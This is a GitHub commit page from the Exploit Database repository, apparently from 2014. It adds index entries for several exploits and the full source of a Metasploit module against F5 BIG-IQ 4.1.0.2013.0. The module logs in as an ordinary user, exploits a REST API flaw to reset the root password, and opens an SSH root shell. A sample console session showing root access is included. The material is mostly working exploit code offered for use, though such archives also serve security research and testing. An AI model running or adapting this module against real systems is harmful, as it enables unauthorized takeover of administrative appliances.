Skip to content

Commit 658e0ca

Browse files
author
Offensive Security
committed
Updated 05_04_2014
1 parent 36d3a5c commit 658e0ca

25 files changed

Lines changed: 1553 additions & 1 deletion

File tree

‎files.csv‎

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8585,7 +8585,7 @@ id,file,description,date,author,platform,type,port
85858585
9101,platforms/php/webapps/9101.txt,"phpbms 0.96 Multiple Vulnerabilities",2009-07-10,eLwaux,php,webapps,0
85868586
9102,platforms/windows/dos/9102.pl,"PatPlayer 3.9 (M3U File) Local Heap Overflow PoC",2009-07-10,Cyber-Zone,windows,dos,0
85878587
9103,platforms/php/webapps/9103.txt,"gencms 2006 Multiple Vulnerabilities",2009-07-10,eLwaux,php,webapps,0
8588-
9104,platforms/windows/local/9104.py,"Photo DVD Maker Pro <= 8.02 (.pdm) Local BOF Exploit (SEH)",2009-07-10,His0k4,windows,local,0
8588+
9104,platforms/windows/local/9104.py,"Photo DVD Maker Pro <= 8.02 - (.pdm) Local BOF Exploit (SEH)",2009-07-10,His0k4,windows,local,0
85898589
9105,platforms/php/webapps/9105.txt,"MyMsg 1.0.3 (uid) Remote SQL Injection Vulnerability",2009-07-10,Monster-Dz,php,webapps,0
85908590
9106,platforms/windows/remote/9106.txt,"citrix xencenterweb (xss/sql/rce) Multiple Vulnerabilities",2009-07-10,"Secure Network",windows,remote,0
85918591
9107,platforms/php/webapps/9107.txt,"Phenotype CMS 2.8 (login.php user) Blind SQL Injection Vulnerability",2009-07-10,IRCRASH,php,webapps,0
@@ -29734,6 +29734,7 @@ id,file,description,date,author,platform,type,port
2973429734
32987,platforms/multiple/remote/32987.txt,"Woodstock 4.2 404 Error Page Cross Site Scripting Vulnerability",2009-05-05,DSecRG,multiple,remote,0
2973529735
32988,platforms/php/webapps/32988.txt,"VerliAdmin 0.3 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2009-05-05,TEAMELITE,php,webapps,0
2973629736
32989,platforms/php/webapps/32989.txt,"Verlihub Control Panel 1.7 Multiple Cross-Site Scripting Vulnerabilities",2009-05-06,TEAMELITE,php,webapps,0
29737+
32990,platforms/hardware/webapps/32990.pl,"HP Laser Jet - JavaScript Persistent XSS via PJL Directory Traversal",2014-04-23,@0x00string,hardware,webapps,0
2973729738
32991,platforms/php/webapps/32991.txt,"Claroline 1.8.11 'claroline/linker/notfound.php' Cross-Site Scripting Vulnerability",2009-05-08,"Gerendi Sandor Attila",php,webapps,0
2973829739
32992,platforms/php/webapps/32992.txt,"MagpieRSS 0.72 Cross Site Scripting And HTML Injection Vulnerabilities",2009-05-08,"Justin Klein Keane",php,webapps,0
2973929740
32993,platforms/php/webapps/32993.txt,"Dacio's Image Gallery 1.6 Multiple Remote Vulnerabilities",2009-05-11,ahmadbady,php,webapps,0
@@ -29762,6 +29763,7 @@ id,file,description,date,author,platform,type,port
2976229763
33016,platforms/hardware/remote/33016.txt,"SonicWALL SSL-VPN 'cgi-bin/welcome/VirtualOffice' Remote Format String Vulnerability",2009-05-29,"Patrick Webster",hardware,remote,0
2976329764
33017,platforms/linux/dos/33017.txt,"Adobe Acrobat <= 9.1.3 - Stack Exhaustion Denial of Service Vulnerability",2009-05-29,"Saint Patrick",linux,dos,0
2976429765
33018,platforms/windows/dos/33018.txt,"cFos Personal Net 3.09 - Remote Heap Memory Corruption Denial of Service",2014-04-25,LiquidWorm,windows,dos,0
29766+
33019,platforms/multiple/webapps/33019.txt,"miSecureMessages 4.0.1 - Session Management & Authentication Bypass Vulnerabilities",2014-04-25,"Jared Bird",multiple,webapps,0
2976529767
33020,platforms/linux/dos/33020.py,"CUPS <= 1.3.9 'cups/ipp.c' NULL Pointer Dereference Denial Of Service Vulnerability",2009-06-02,"Anibal Sacco",linux,dos,0
2976629768
33021,platforms/php/webapps/33021.txt,"PHP-Nuke 8.0 Downloads Module 'query' Parameter Cross Site Scripting Vulnerability",2009-06-02,"Schap Security",php,webapps,0
2976729769
33022,platforms/php/webapps/33022.txt,"Joomla! Prior to 1.5.11 Multiple Cross Site Scripting and HTML Injection Vulnerabilities",2009-06-03,"Airton Torres",php,webapps,0
@@ -29874,3 +29876,25 @@ id,file,description,date,author,platform,type,port
2987429876
33134,platforms/linux/dos/33134.txt,"Adobe Flash Player <= 10.0.22 and AIR - 'intf_count' Integer Overflow Vulnerability",2009-07-30,"Roee Hay",linux,dos,0
2987529877
33136,platforms/hardware/webapps/33136.txt,"Fritz!Box - Remote Command Execution Exploit",2014-05-01,0x4148,hardware,webapps,0
2987629878
33138,platforms/hardware/webapps/33138.txt,"NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Stored XSS Vulnerability",2014-05-01,"Dolev Farhi",hardware,webapps,0
29879+
33141,platforms/php/remote/33141.rb,"AlienVault OSSIM SQL Injection and Remote Code Execution",2014-05-02,metasploit,php,remote,443
29880+
33142,platforms/multiple/remote/33142.rb,"Apache Struts ClassLoader Manipulation Remote Code Execution",2014-05-02,metasploit,multiple,remote,8080
29881+
33143,platforms/hardware/remote/33143.rb,"F5 BIG-IQ 4.1.0.2013.0 - Privilege Escalation",2014-05-02,"Brandon Perry",hardware,remote,443
29882+
33144,platforms/php/webapps/33144.txt,"Censura Prior to 2.1.1 Multiple Cross Site Scripting Vulnerabilities",2009-06-29,mark99,php,webapps,0
29883+
33145,platforms/linux/local/33145.c,"PHP Fuzzer Framework Default Location Insecure Temporary File Creation Vulnerability",2009-08-03,"Melissa Elliott",linux,local,0
29884+
33146,platforms/php/webapps/33146.txt,"CS-Cart 2.0.5 'reward_points.post.php' SQL Injection Vulnerability",2009-08-04,"Ryan Dewhurst",php,webapps,0
29885+
33147,platforms/php/webapps/33147.txt,"AJ Auction Pro 3.0 'txtkeyword' Parameter Cross Site Scripting Vulnerability",2009-08-05,"599eme Man",php,webapps,0
29886+
33148,platforms/linux/dos/33148.c,"Linux Kernel 2.6.x 'posix-timers.c' NULL Pointer Dereference Denial of Service Vulnerability",2009-08-06,"Hiroshi Shimamoto",linux,dos,0
29887+
33149,platforms/php/webapps/33149.txt,"Alkacon OpenCms 7.x Multiple Input Validation Vulnerabilities",2009-08-06,"Katie French",php,webapps,0
29888+
33150,platforms/hardware/webapps/33150.txt,"NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - CSRF Vulnerability",2014-05-03,"Dolev Farhi",hardware,webapps,0
29889+
33152,platforms/php/webapps/33152.txt,"PhotoPost PHP 3.3.1 'cat' Parameter Cross Site Scripting and SQL Injection Vulnerabilities",2009-08-07,"599eme Man",php,webapps,0
29890+
33153,platforms/php/webapps/33153.txt,"SupportPRO SupportDesk 3.0 'shownews.php' Cross Site Scripting Vulnerability",2009-08-10,Moudi,php,webapps,0
29891+
33154,platforms/php/webapps/33154.txt,"SQLiteManager 1.2 'main.php' Cross Site Scripting Vulnerability",2009-08-10,"Hadi Kiamarsi",php,webapps,0
29892+
33155,platforms/php/webapps/33155.txt,"ViArt CMS forums.php category_id Parameter XSS",2009-08-10,Moudi,php,webapps,0
29893+
33156,platforms/php/webapps/33156.txt,"Crime24 Stealer Panel 1.0 - Multiple Vulnerabilities",2014-05-03,"Daisuke Dan",php,webapps,0
29894+
33157,platforms/php/webapps/33157.txt,"ViArt CMS forum.php forum_id Parameter XSS",2009-08-10,Moudi,php,webapps,0
29895+
33158,platforms/php/webapps/33158.txt,"ViArt CMS forum_topic_new.php forum_id Parameter XSS",2009-08-10,Moudi,php,webapps,0
29896+
33159,platforms/hardware/webapps/33159.txt,"Seagate BlackArmor NAS - Multiple Vulnerabilities",2014-05-03,"Shayan S",hardware,webapps,0
29897+
33160,platforms/php/webapps/33160.txt,"Papoo 3.x Upload Images Arbitrary File Upload Vulnerability",2009-08-10,"RedTeam Pentesting GmbH",php,webapps,0
29898+
33161,platforms/php/local/33161.php,"PHP 5.3 'mail.log' Configuration Option 'open_basedir' Restriction Bypass Vulnerability",2009-08-10,"Maksymilian Arciemowicz",php,local,0
29899+
33162,platforms/php/remote/33162.php,"PHP 5.2.10/5.3 'ini_restore()' Memory Information Disclosure Vulnerability (1)",2009-08-10,"Maksymilian Arciemowicz",php,remote,0
29900+
33163,platforms/php/remote/33163.php,"PHP 5.2.10/5.3 'ini_restore()' Memory Information Disclosure Vulnerability (2)",2009-08-10,"Maksymilian Arciemowicz",php,remote,0

‎platforms/hardware/remote/33143.rb‎

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'json'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
18+
'Description' => %q{
19+
F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
20+
an attacker to change the root users password. This module does just this, then SSH's in.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Brandon Perry <bperry.volatile@gmail.com>'
26+
],
27+
'References' =>
28+
[
29+
['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
30+
],
31+
'Platform' => ['unix'],
32+
'Arch' => ARCH_CMD,
33+
'Targets' =>
34+
[
35+
['BIG-IQ 4.1.0.2013.0', {}]
36+
],
37+
'Privileged' => true,
38+
'DefaultOptions' =>
39+
{
40+
'SSL' => true,
41+
'ExitFunction' => "none"
42+
},
43+
'Payload' =>
44+
{
45+
'Compat' => {
46+
'PayloadType' => 'cmd_interact',
47+
'ConnectionType' => 'find'
48+
}
49+
},
50+
'DisclosureDate' => "Sep 23 2013",
51+
'DefaultTarget' => 0))
52+
53+
register_options(
54+
[
55+
Opt::RPORT(443),
56+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
57+
OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
58+
OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
59+
OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
60+
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
61+
], self.class)
62+
end
63+
64+
def exploit
65+
post = {
66+
'username' => datastore['USERNAME'],
67+
'passwd' => datastore['PASSWORD']
68+
}
69+
70+
print_status("Authenticating as " + datastore['USERNAME'])
71+
72+
#Simple post to get us a cookie so we can change our password
73+
res = send_request_cgi({
74+
'method' => 'POST',
75+
'uri' => '/ui/actions/logmein.html',
76+
'vars_post' => post
77+
})
78+
79+
if res.headers["Location"] != "/"
80+
fail_with("Authentication failed")
81+
end
82+
83+
cookie = res.get_cookies
84+
85+
#this gets turned into JSON
86+
#
87+
#generation will be set in try_generation if it isn't correct
88+
#
89+
#This is also the attempt at privilege escalation, so we preserve the password
90+
post = {
91+
"name" => datastore['ADMINISTRATOR'],
92+
"displayName" => "fdsa",
93+
"generation" => 1,
94+
"lastUpdateMicros" => 1395360806678747,
95+
"kind" => "shared:authz:users:usersworkerstate",
96+
"selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
97+
"password" => datastore['PASSWORD'],
98+
"password2" => datastore['PASSWORD'],
99+
"state" => "ACTIVE"
100+
}
101+
102+
print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])
103+
104+
try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])
105+
106+
password = Rex::Text.rand_text_alpha(rand(32)+5)
107+
108+
#this is when we change the password for the root user
109+
post = {
110+
"name" => "root",
111+
"displayName" => "root",
112+
"generation" => 1,
113+
"lastUpdateMicros" => 1395359570236413,
114+
"kind" => "shared:authz:users:usersworkerstate",
115+
"selfLink" => "https://localhost/mgmt/shared/authz/users/root",
116+
"password" => password,
117+
"password2" => password,
118+
"state" => "ACTIVE"
119+
}
120+
121+
select(nil,nil,nil,5)
122+
print_status("Changing root user password to " + password)
123+
124+
try_generation(post, cookie, '/mgmt/shared/authz/users/root')
125+
126+
res = do_login('root', password)
127+
128+
if res
129+
print_good("Login Successful with 'root:#{password}'")
130+
handler(res.lsock)
131+
end
132+
end
133+
134+
def try_generation(put, cookie, uri)
135+
done = false
136+
while !done
137+
res = send_request_cgi({
138+
'method' => "PUT",
139+
'uri' => uri,
140+
'data' => put.to_json,
141+
'cookie' => cookie
142+
})
143+
144+
if res and res.body =~ /Invalid generation/
145+
put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
146+
elsif res and res.body =~ /encryptedPassword/
147+
done = true
148+
else
149+
fail_with("Didn't get a response that I expected")
150+
end
151+
end
152+
end
153+
def do_login(user, pass)
154+
155+
opts = {
156+
:auth_methods => ['password', 'keyboard-interactive'],
157+
:msframework => framework,
158+
:msfmodule => self,
159+
:port => 22,
160+
:disable_agent => true,
161+
:config => true,
162+
:password => pass,
163+
:record_auth_info => true,
164+
:proxies => datastore['Proxies']
165+
}
166+
167+
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
168+
169+
begin
170+
ssh = nil
171+
ssh = Net::SSH.start(datastore['RHOST'], user, opts)
172+
rescue Rex::ConnectionError, Rex::AddressInUse
173+
return nil
174+
rescue Net::SSH::Disconnect, ::EOFError
175+
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
176+
return nil
177+
rescue ::Timeout::Error
178+
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
179+
return nil
180+
rescue Net::SSH::AuthenticationFailed
181+
print_error "#{rhost}:#{rport} SSH - Failed authentication"
182+
return nil
183+
rescue Net::SSH::Exception => e
184+
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
185+
return nil
186+
end
187+
if ssh
188+
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
189+
return conn
190+
end
191+
return nil
192+
end
193+
end
194+
195+
196+
__END__
197+
198+
msf exploit(f5_bigiq_passwd_update) > show options
199+
200+
Module options (exploit/linux/http/f5_bigiq_passwd_update):
201+
202+
Name Current Setting Required Description
203+
---- --------------- -------- -----------
204+
ADMINISTRATOR root yes The administrator to spoof for privilege escalation
205+
PASSWORD notpassword yes The password to authenticate with.
206+
Proxies no Use a proxy chain
207+
RHOST 192.168.1.8 yes The target address
208+
RPORT 443 yes The target port
209+
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
210+
TARGETURI / yes The URI of the vulnerable instance
211+
USERNAME username yes The user to authenticate as.
212+
VHOST no HTTP server virtual host
213+
214+
215+
Payload options (cmd/unix/interact):
216+
217+
Name Current Setting Required Description
218+
219+
---- --------------- -------- -----------
220+
221+
Exploit target:
222+
223+
Id Name
224+
-- ----
225+
0 a
226+
227+
228+
msf exploit(f5_bigiq_passwd_update) > exploit
229+
230+
[+] Login Successful with 'root:qBvBY'
231+
[*] Found shell.
232+
[*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500
233+
234+
id
235+
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh

0 commit comments

Comments
 (0)